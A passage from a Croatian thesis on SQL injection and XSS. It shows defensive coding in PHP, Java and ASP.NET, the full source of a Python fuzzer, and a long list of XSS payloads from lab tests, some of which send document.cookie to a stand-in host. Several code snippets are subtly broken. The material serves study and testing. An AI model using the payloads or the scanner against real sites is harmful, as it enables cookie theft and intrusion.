Za sažimanje lozinki koristi se također ugrađena BCrypt biblioteka.

Za HTML kodiranje koristi se:

99

<%=Server.HtmlEncode(poruka) %>

@poruka razor sintaksa

Encoder.HtmlEncode(poruka)

Sljedeća slika prikazuje dio automatski generirane web aplikacije u Visual Studiu 2010

koristeći ASP.NET MVC4. Svi potrebni temeljni sigurnosni koraci su napravljeni.

Slika 10: Jedan dio automatski izgenerirane web aplikacije

100

8.3 PHP

PHP je jedan od najraširenijih i najpopularnijih jezika u web programiranju. Mnogo aplikacija

su napravljene upravo pomoću PHP-a, uključujući mnoge poznate CMS sustave. Orijentiran

je po C i Perl sintaksi.

Kroz primjer prijave i registracije korisnika prikazane su ključne funkcije i metode za zaštitu

od SQLi i XSS napada.

PHP funkcije koje se koriste za saniranje i zaštitu od XSS-a:

htmlentities() - funkcija je identična kao i htmlspecialchars(), pretvara znakove u

HTML entitete, međutim za razliku od i htmlspecialchars() nije kompatibilna sa

XML-om, uključujući i HTML5 XML serijalizacijom Primjer kako funkcionira:

'&' (ampersand) postaje '&'

'"' (dvostruki navodnik) postaje '"' when ENT_NOQUOTES is not set.

"'" (jednostruki navodnik) postaje ''' (or ') only when ENT_QUOTES

is set.

'<' (manje od) postaje '<'

'>' (veće od) postaje '>'

htmlspecialchars() - generalno gledajući ova funkcija je dovoljna za filtriranje izlaza

koji se prikazuje u web pregledniku ako se koristi ISO-8859-1ili UTF-8, za ostale

tipove kodiranja preporuća se korištenje htmlentities() funkcije.

strip_tags() - uklanja HTML, XML, i PHP tagove iz zadanog niza

stripslashes() - funkcija uklanja „\“ koje dodaje addslashes() funkcija

Potrebno je napomenuti da navedene funkcije treba isključivo koristiti u kombinaciji jedne s

drugima, jer same po sebi pružaju zaštitu po samo jednom segmentu. Primjer kako se zajedno

mogu koristiti navedene funkcije:

$ocisti=trim($vrijednost);

$ocisti =strip_tags($cleanval);

$ocisti =stripslashes($cleanval);

$ocisti =mysql_real_escape_string($cleanval);

$ocisti =htmlspecialchars($cleanval);

Također navedene funkcije mogu se koristiti i u kombinaciji sa XSS filtrima temeljnim na

dozvoljenim i nedozvoljenim listama.

101

Najviše se preporuča korištenje gotovih HTML parsera/biblioteka kao što su HTMLPurifier,

Wibble i OWASP ESAPI.

Najbolja zaštita od SQLi-a je korištenje parametrziranih upita ili pripremljenih

izjava(prepared statements). Kod PHP-a postoje dvije opcije:

Korištenje PDO (PHP Data Objects):

$stmt = $pdo->prepare('SELECT * FROM zaposlenici WHERE ime = :ime');

$stmt->execute(array(':ime' => $ime));

foreach ($stmt as $row) {

echo $row;

}

Korištenje mysqli:

$stmt = $dbConnection->prepare('SELECT * FROM zaposlenici WHERE ime = ?');

$stmt->bind_param('s', $ime);

$stmt->execute();

$rez = $stmt->get_result();

while ($row = $rez->fetch_assoc()) {

echo $row;

}

U ovo praktičnom primjeru prijave i registracije korisnika korišten je PDO. PDO je sloj baze

podataka koji pruža metode za pristup bazama podataka. SQL upit se prosljeđuje do prepare

funkcije gdje se raščlanjuje i kompilira od strane servera baze podataka. Određivanjem

parametara (? ili :ime) daje se bazi podataka informacija gdje se želi filtrirati. Kad se pozove

execute funkcija pripremljena izjava se kombinira sa vrijednostima parametara koji su

određeni. Znači SQL upit/izjava je poslan i raščlanjen (parsiran) od strane poslužitelja baze

podataka odvojeno od bilo kakvog parametra. Na taj način je nemoguće provesti SQLi napad.

102

Slika 11:izgled forme za prijavu korisnika

Slika 12: izgled forme za registraciju korisnika

Na sljedećoj slici se mogu može vidjeti pravilno korištenje PDO pripremljenih izjava. Važno

je obratiti pozornost na postavljanje PDO atributa koji se odnose na hvatanje iznimki, kako se

napadač ne bi mogao saznati informacije iz grešaka odnosno iznimki.

103

Slika 13: prikazuje sažimanje lozinke kod prijave, i korištenje pripremljenih izjava

Sljedeća slika prikazuje ispravno korištenje sesija kod proces prijave korisnika. Potrebno je

obratiti pozornost na session_regenerate_id(). Ta funkcija će zamijeniti trenutni sesijski ID sa

novim, i čuvati informaciju trenutne sesije. Na taj način je spriječena krađa sesija!

Slika 14:Zaštita od kađe sesija

Sve podatke koji dolaze od strane korisnika je potrebno filtrirati.

Slika 15: Zaštita od XSS-a filtriranjem

Važno je da se lozinka kod registracije, odnosno kod upisa u bazu podataka sažima (hash-ira).

Ako kojim slučajem napadač i dobije pristup podacima korisnika unutar tablice, sažimanje

sprečava od krađa lozinki. Obično korisnici imaju jednu ili dvije lozinke za sve aplikacije koje

koriste, stoga ako bi se napadač dokopao lozinki, privatnost mnogih korisnika bi bila narušena

te još mnoge druge opasnosti koje bi takav razvoj situacije potaknuo.

Slika 16:Sažimanje(hashing)lozinke

Za sažimanje se ne preporuča korištenje SHA1 i MD5 algoritama već Bcrypt ili SHA2. Bcrypt

sažimanje je najsporije ali zato i najsigurnije/najbolje.

104

8.4 Java

U dobro dizajniranoj aplikaciji, logika baze podataka je odvojena od poslovne i prezentacijske

logike i radi neovisno o istima. Ovakav način omogućava i olakšava programerima bolje

održavanje, testiranje, ponovno korištenje i modificiranje. Održavanje je bolje jer je logika

baze podataka koncentrirana u jednom sloju, stoga nije potrebno programski kod koji je vezan

za bazu podataka tražiti u različitim klasama sa ostalim programskim kodom. Testiranje je

lakše jer logika baze podataka djeluje neovisno o slojevima poslovne i prezentacijske logike.

Ponovno korištenje je na ovaj način vrlo pojednostavljeno. Za uporabu potrebno je samo

podesiti istu logiku baze podataka u classpath neke druge aplikacije (npr. JSF, JSP, Swing i

sl. ). Lakša je i modifikacija jer se vrlo lako mogu dodati sučelja, pa nema potrebe za

zamjenama programskog koda u poslovnoj i prezentacijskoj logici kada se želi prebaciti iz

JDBC-a u Hibernate ili JPA.

Podatkovni sloj (data layer)

Sloj baze podataka se još naziva i podatkovni sloj. Sastoji se od objekata baze podataka

kojima se pristupa. Ti objekti mogu stvarati odnosno pisati, čitati, modificirati i brisati objekte

modela u/iz baze (vršiti CRUD operacije).

U ovoj aplikaciji korišten je podatkovni sloj temeljen na JDBC aplikacijskom programibilnom

sučelju. Osnovno cilj je mapiranje između neke tablice i nekog modela u Java kodu.

Za obranu od SQLi koriste se pripremljene izjave i parametarski upiti. Primjer:

String selectStatement = "SELECT * FROM Korisnik WHERE korisnikId = ? ";

PreparedStatement prepStmt = con.prepareStatement(selectStatement);

prepStmt.setString(1, korisnikId);

ResultSet rs = prepStmt.executeQuery();

Sljedeća slika prikazuje korištenje pripremljenih izjava kod bilo kakvog rukovanja sa bazom

podataka, kako bi se spriječio SQLi.

105

Slika 17:Korištenje pripremljeni izjava kao zaštita protiv SQLi

Za obranu od XSS-a u JSP/Servlet aplikacijama koristi se JSLT <c:out> tag ili funkciju

fn:escapeXml() kod ponovno prikazivanja podataka unošenih od strane korisnika. To

uključuje zaglavlja, cookie, URL, body, parametre itd.

Primjer:

<p><c:out value="${bean.userControlledValue}"></p>

<p><input name="foo" value="${fn:escapeXml(param.foo)}"></p>

To će pretvoriti <, >, ", ',& u <, >, ", ' i &

Ako se koristi bilo koja poznatija ORM biblioteka i aplikacijskih programskih sučelja kao što

je Hibernate, Sax i sl., to je već sve uzeto u obzir i odrađuje se automatikom.

Naravno moguće je i korištenje filtera sa različitim dozvoljenim i nedozvoljenim listama.

Ne preporuča se izrada vlastitih listi jer vrlo lagano neke stvari izostaviti.

Zbog toga ako se već koriste filteri tada se preporuča korištenje gotovih rješenja kao što je

OWASP ESAPI API i slično.

106

Sljedeća slika prikazuje logiku filtera koji se koristi za filtriranje zahtjeva. Filtrirati se mogu i

zahtjevi i odgovori.

Slika 18:XSS filter

107

Sljedeća slika prikazuje korištenje XSS filtera i za zahtjeve i za odgovore.

Slika 19:Upotreba XSS filtera za filtriranje zahtjeva i odgovora

Sljedeća slika prikazuje enkripciju sažimanjem u jednom smjeru. Jednom kada se lozinka

kriptira sažimanjem ne može se više vratiti u prvobitno stanje. Korišten je SHA

algoritam.

108

Slika 20:Klasa koja se koristi kod sažimanje lozinke

U ORACLE bazi podataka možemo vidjeti kako niti jedna lozinka nije u čitljivom obliku, već

su sažete. U slučaju neovlaštenog upada u bazu podataka sačuvati će se integritet lozinki.

109

Slika 21:Sve lozinke unutar baze su sažete/šifrirane

110

8.5 Python

Fuzzer je mala aplikacija napisana u Pythonu koja služi kao pomoć pri otkrivanju SQLi i XSS

ranjivosti. Aplikacija možda hoće ali možda i neće naći točnu ranjivost ali će usmjeriti

ispitivača u pravom smjeru i time mu skratiti vrijeme potrebno za ručno testiranje ranjivosti.

Aplikacija može istovremeno vršiti testiranje ranjivosti na više web stranica.

Ispitivanje se vrši ubacivanjem testnog niza u forme-POST, URL parametre-GET i cookie-e.

Testni nizovi za otkrivanje ranjivosti čitaju se iz dvije zasebne datoteke sqli.txt i xss.txt

Prednost ove aplikacije je da je vrlo fleksibilna, moguće je ubacivanje bilo kakvih nizova,

nevezano za SQLi i XSS. Npr. Xpath izrazi i bilo koji drugi proizvoljni nizovi koje ispitivač

može sam konstruirati s obzirom na potrebe.

Aplikacija nije u potpunosti automatizirana, što znači da zahtjeva određen dio interakcije.

Potrebno je proslijediti URL i cookie za koji se želi provesti ispitivanje.

U datoteku se mogu dodati i URL-ovi i cookie-e. Primjer kako se aplikacija može pokrenuti :

1. python 1.py datoteka=urls.txt

2. python 1.py url=http://foi.hr/test.php?id=test

U prvom slučaju aplikacija vršti testiranja za sve web adrese i cookie-e unutar tekstualne

datoteke.

U drugom slučaju aplikacija vrši testiranje samo za proslijeđenu web adresu.

Sama provjera da li je neki parametar ranjiv ili ne, se vrši pretraživanjem ključnih riječi u

greškama koje generira web aplikacija ovisno o bazi podataka u pozadini, ili promjene unutar

strukture web stranice u slučaju ubacivanja JavaScripta.

Slika 22:Prikaz datoteke sa web adresama i sesijama

111

Slika 23:Prikaz datoteke sa testnim nizovima za SQLi

Slika 24: Prikaz datoteke sa testnim nizovima za XSS

112

U nastavku slijedi primjer ispisa ranjivosti za pojedinu ranjivu web aplikaciju koji je u ovom

slučaju ograničen na ispis samo jedne ranjivosti zbog opširnosti liste:

URL: http://192.168.1.241/WackoPicko/users/login.php

HTTP GET parametri: {}

Pronadjena moguca XSS ranjivost

XSS string: < script > < / script>

Redni broj ranjive forme: 1

URL: http://192.168.1.102/peruggia/index.php?action=login

HTTP GET parametri: {'action': ['login']}

URL: http://192.168.1.102/dvwa/vulnerabilities/brute/


Pronadjena moguca SQL injection ranjivost

SQLi string: '


URL: http://192.168.1.102/dvwa/vulnerabilities/xss_r/





URL: http://192.168.1.102/dvwa/vulnerabilities/xss_s/


URL: http://192.168.1.102/dvwa/vulnerabilities/sqli/


Pronadjena moguca SQL injection ranjivost

SQLi string: '

113


URL: http://192.168.1.102/dvwa/vulnerabilities/sqli_blind/


Primjer ispisa bez ograničenja za jednu ranjivu web aplikaciju:

URL: http://192.168.1.102/WackoPicko/users/login.php






XSS string: &lt



XSS string: <



XSS string: &LT



XSS string: &LT;



XSS string: <<



XSS string: <<<



XSS string: "><script>"



XSS string: <script>alert("XSS")</script>



XSS string: <<script>alert("XSS");//<</script>



XSS string: <script>alert(document.cookie)</script>



XSS string: '><script>alert(document.cookie)</script>



XSS string: '><script>alert(document.cookie);</script>



XSS string: \";alert('XSS');//



XSS string: %3cscript%3ealert("XSS");%3c/script%3e



XSS string: %3cscript%3ealert(document.cookie);%3c%2fscript%3e



XSS string: %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E



114

XSS string: &ltscript&gtalert(document.cookie);</script>



XSS string: &ltscript&gtalert(document.cookie);&ltscript&gtalert



XSS string: <xss><script>alert('XSS')</script></vulnerable>



XSS string: <IMG%20SRC='javascript:alert(document.cookie)'>



XSS string: <IMG SRC="javascript:alert('XSS');">



XSS string: <IMG SRC="javascript:alert('XSS')"



XSS string: <IMG SRC=javascript:alert('XSS')>



XSS string: <IMG SRC=JaVaScRiPt:alert('XSS')>



XSS string: <IMG SRC=javascript:alert("XSS")>



XSS string: <IMG SRC=`javascript:alert("'XSS'")`>



XSS string: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">



XSS string: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>



XSS string: <IMG%20SRC='javasc ript:alert(document.cookie)'>



XSS string: <IMG SRC="jav ascript:alert('XSS');">






XSS string: <IMG SRC="jav
ascript:alert('XSS');">






XSS string: <IMG SRC=" javascript:alert('XSS');">



XSS string: <IMG DYNSRC="javascript:alert('XSS')">



XSS string: <IMG LOWSRC="javascript:alert('XSS')">



XSS string:

<IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie

)'>



XSS string: <IMG

SRC=javascript:ale

rt('XSS')>

115



XSS string: <IMG

SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00001

12&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039

&#0000088&#0000083&#0000083&#0000039&#0000041>



XSS string: <IMG

SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x7

4&#x28&#x27&#x58&#x53&#x53&#x27&#x29>



XSS string: '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E



XSS string: "><script>document.location='http://localhost/cgi-

bin/cookie.cgi?'+document.cookie</script>



XSS string:

%22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Db

in%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E



XSS string:

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";

alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></S

CRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}



XSS string: '';!--"<XSS>=&{()}



XSS string: <name>','')); phpinfo(); exit;/*</name>



XSS string: <![CDATA[<script>var n=0;while(true){n++;}</script>]]>



XSS string:

<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>



XSS string: <?xml version="1.0" encoding="ISO-8859-

1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[

>]]></foo>



XSS string: <xml ID=I><X><C><![CDATA[<IMG

SRC="javas]]><![CDATA[cript:alert('XSS');">]]>



XSS string: <xml ID="xss"><I><B><IMG SRC="javas<!-- --

>cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B"

DATAFORMATAS="HTML..

Sva ispitivanja su provedena na ranjivim aplikacijama unutar lokalnog testnog okruženja.

116

U nastavu je prikazan cijeli izvorni kod Fuzzer aplikacije:

# -*- coding: utf-8 -*-

import urllib, urllib2

import mechanize

import cookielib

import sys

import urlparse

import re

DBMS_ERRORS = {

"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL

result", r"MySqlClient\."),

"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid

PostgreSQL result", r"Npgsql\."),

"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL

Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL

Server.*[0-9a-fA-F]{8}", r"(?s)Exception.*\WSystem\.Data\.SqlClient\.",

r"(?s)Exception.*\WRoadhouse\.Cms\."),

"Microsoft Access": (r"Microsoft Access Driver", r"JET Database

Engine", r"Access Database Engine"),

"Oracle": (r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error",

r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*")

}

sqli_s = []

xss_s = []

dat = open("sqli.txt", "r")

sqli = dat.read()

dat.close()

sqli = sqli.split("\n")

dat = open("xss.txt", "r")

xss = dat.read()

dat.close()

xss = xss.split("\n")

def provjeri(html, html_pocetni, s, xss):

# provjera za SQLi

tip = None

vulnerable = False

for dbms in DBMS_ERRORS:

for regex in DBMS_ERRORS[dbms]:

if re.search(regex, html, re.I):

vulnerable = True

tip = 1

# provjera za XSS

if s in xss and html.find(s) >= 0 and html_pocetni.find(s) == -1:

vulnerable = True

tip = 2

return vulnerable, tip

datoteka = ""

url = ""

cookie = ""

117

urls = []

cookies = []

p1, p2 = "", ""

for arg in sys.argv[ 1: ]:

naziv, sadrzaj = arg.split("=")

if naziv == "url":

p1 = sadrzaj

#urls.append(sadrzaj)

elif naziv == "cookie": # ako je zadan url a ne cookie ?

p2 = sadrzaj

#cookies.append(sadrzaj)

elif naziv == "datoteka":

datoteka = sadrzaj

dat = open(datoteka, "r")

sadrzaj = dat.read()

sadrzaj = sadrzaj.split("\n")

for line in sadrzaj:

line = eval(line)

urls.append(line[0])

if len(line) == 2:

cookies.append(line[1])

else:

cookies.append("")

if p1 != "":

urls.append(p1)

cookies.append(p2)

def createBrowser(url, cookie):

br = mechanize.Browser()

cj = cookielib.LWPCookieJar()

br.set_cookiejar(cj)

br.set_handle_equiv(True)

#br.set_handle_gzip(True)

br.set_handle_redirect(True)

br.set_handle_referer(True)

br.set_handle_robots(False)

br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),

max_time=1)

#br.set_debug_http(True)

#br.set_debug_redirects(True)

#br.set_debug_responses(True)

br.addheaders.append(('Cookie', cookie))

try:

r = br.open(url)

return br, r

except:

print "Web adresa je nedostupna"

return None, None

for i in range(len(urls)):

print "URL:", urls[i]

br, r = createBrowser(urls[i], cookies[i])

# parsiranje URL-a za GET parametre

par = urlparse.parse_qs(urlparse.urlparse(urls[i]).query)

url_osnovni = urls[i].split("?")[0]

118

print "HTTP GET parametri:", par

html_pocetni = r.read()

vulnerable = False

# testiranje ranjivosti - GET parametri - SQLi

if len(par.keys()):

if vulnerable:

break

for s in sqli:

upit = "?"

for p in par:

par[p] = s

s = urllib.urlencode(par)

upit += s

br, r = createBrowser(url_osnovni + upit, cookies[i])

if not br:

continue

ima_ranjivost, tip = provjeri(html, html_pocetni, s, xss)

if ima_ranjivost:

if tip == 1:

vulnerable = True

print "Pronadjena moguca SQL injection ranjivost GET

parametara"

print "SQLi string:", s

vulnerable = True

vulnerable = False

tip = -1

# testiranje ranjivosti - forme - SQLi i XSS(POST)

for s in sqli + xss:

# if vulnerable and tip == 1:

# continue

# elif vulnerable and tip == 2:

# break

br, r = createBrowser(urls[i], cookies[i])

if not br:

continue

c = -1

try:

for f in br.forms():

# if vulnerable:

# break

c += 1

br.select_form(nr = c)

for control in f.controls:

if control.type == "text" or control.type ==

"password":

f[control.name] = s

br.submit()

html = br.response().read()

ima_ranjivost, tip = provjeri(html, html_pocetni, s, xss)

if ima_ranjivost:

if tip == 1:

print "Pronadjena moguca SQL injection ranjivost"

print "SQLi string:", s

print "Redni broj ranjive forme:", c + 1

vulnerable = True

tip = 1

elif tip == 2:

119

vulnerable = True

print "Pronadjena moguca XSS ranjivost"

print "XSS string:", s

print "Redni broj ranjive forme:", c + 1

vulnerable = True

tip = 2

except:

"Mechanize - greska"

print

print "##############################################################"

print

print

120

9 ZAKLJUČAK

U današnje vrijeme vrlo mnogo se koriste web aplikacije koje u svojoj pozadini imaju bazu podataka.

Stoga sigurnost baza podataka najviše ovisi o aplikativnom sloju, za razliku od prošlih vremena gdje je

glavna obrana od hakerskih napada bio mrežni sloj.

Sigurnosna okruženja web aplikacija nisu statična nego dinamična. Neće postavljeno sigurnosno

okruženje za jednu aplikaciju vrijediti i za drugu. Isto tako današnji napadi su više orijentirani na

korisnike web aplikacije nego na poslužiteljsku stranu kao što je to bio slučaj prije. Napadi na

korisnike su oni koji se najviše razvijaju i napreduju zadnjih nekoliko godina.

Kada se otkrije neka ranjivost vrlo brzo se nađu adekvatne zakrpe. Neki napadi i ranjivosti su već

prisutne dugo vremena na jedan te isti način, međutim to nažalost ne znači da se ne pojavljuju i danas.

Primjerice SQLi je prisutan već dugi niz godina, i razvijene su vrlo dobre metode obrane, a još uvijek

se pojavljuju slučajevi SQLi napada. Jedan od glavnih uzroka su defintivno programeri aplikacija koji

svojim propustima i neznanjem omogućuju ovakve napade.

Sigurnost kod NoSQL baza podataka još uvijek nije na zadovoljavajućoj razini. Zasigurno bi većim

korištenjem NoSQL baza podataka rasla i njihova sigurnost. Jer čim ima više korisnika to je veća

vjerojatnost da se pronađu ranjivosti i iste u kratkom roku i saniraju.

Definitvno dolaskom bilo koje nove tehnologije sa njom će doći i niz sigurnosnih ranjivosti koje će se

smanjivati kako će tehnologija biti stablinija.

Dovoljna je samo jedna linija „nesipravnog“ koda u web aplikaciji i to može učiniti cijeli unutrašnji

sustav nek organizacije ranjivim.

121

10 LITERATURA

1. Autori: Jeremiah Grossman Robert Hansen, Petko D.Petkov, Anton RAger Seth-

Fogie XSS Attacks CROSS SITE SCRIPTING EXPLOITS AND DEFENSE

2. Autori: Dafydd Stuttard, Marcus Pinto - The Web Application Hackers's Handbook

3. Ryan C. Barnett - Web Application Defender's Cookbook: Battling Hackers and

Protecting Userse

4. Justin Clark - SQL Injection Attacks and Defense

5. https://www.owasp.org/index.php/SQL_Injection - dostupno 16.9.2013. - dostupno

16.9.2013.

6. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) - dostupno 16.9.2013.

7. https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet - dostupno

16.9.2013.

8. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sh

eet - dostupno 16.9.2013.

9. http://intellavis.com/blog/?p=462 - dostupno 16.9.2013.

10. http://www.us-cert.gov/sites/default/files/publications/Practical-SQLi-

Identification.pdf - dostupno 16.9.2013.

11. http://hakipedia.com/index.php/SQL_Injection - dostupno 16.9.2013.

12. http://ha.ckers.org/sqlinjection/ - dostupno 16.9.2013.

13. http://www.michaelboman.org/books/sql-injection-cheat-sheet-oracle - dostupno

16.9.2013.

14. http://www.michaelboman.org/books/sql-injection-cheat-sheet-mysql - dostupno

16.9.2013.

15. http://www.michaelboman.org/books/sql-injection-cheat-sheet-postgresql - dostupno

16.9.2013.

16. http://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql - dostupno

16.9.2013.

17. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet -

dostupno 16.9.2013.

18. https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet - dostupno

16.9.2013.

https://www.owasp.org/index.php/SQL_Injection%20-%20dostupno%2016.9.2013

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

http://intellavis.com/blog/?p=462

http://www.us-cert.gov/sites/default/files/publications/Practical-SQLi-Identification.pdf

http://www.us-cert.gov/sites/default/files/publications/Practical-SQLi-Identification.pdf

http://hakipedia.com/index.php/SQL_Injection

http://ha.ckers.org/sqlinjection/

http://www.michaelboman.org/books/sql-injection-cheat-sheet-oracle

http://www.michaelboman.org/books/sql-injection-cheat-sheet-mysql

http://www.michaelboman.org/books/sql-injection-cheat-sheet-postgresql

http://www.michaelboman.org/books/sql-injection-cheat-sheet-mssql

http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet

122

19. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ - dostupno 16.9.2013.

20. https://www.owasp.org/index.php/Testing_for_MySQL - dostupno 16.9.2013.

21. https://www.owasp.org/index.php/Testing_for_Oracle - dostupno 16.9.2013.

22. http://ckers.org/ - dostupno 16.9.2013.

http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

https://www.owasp.org/index.php/Testing_for_MySQL

https://www.owasp.org/index.php/Testing_for_Oracle

http://ckers.org/

Documents

SIGURNOST U BAZAMA PODATAKA: SQL INJECTION I CROSS … · kao što je SQL injection ranjivost. (U daljnjem tekstu SQLi) Novi slučajevi ranjivosti postaju (U daljnjem tekstu SQLi)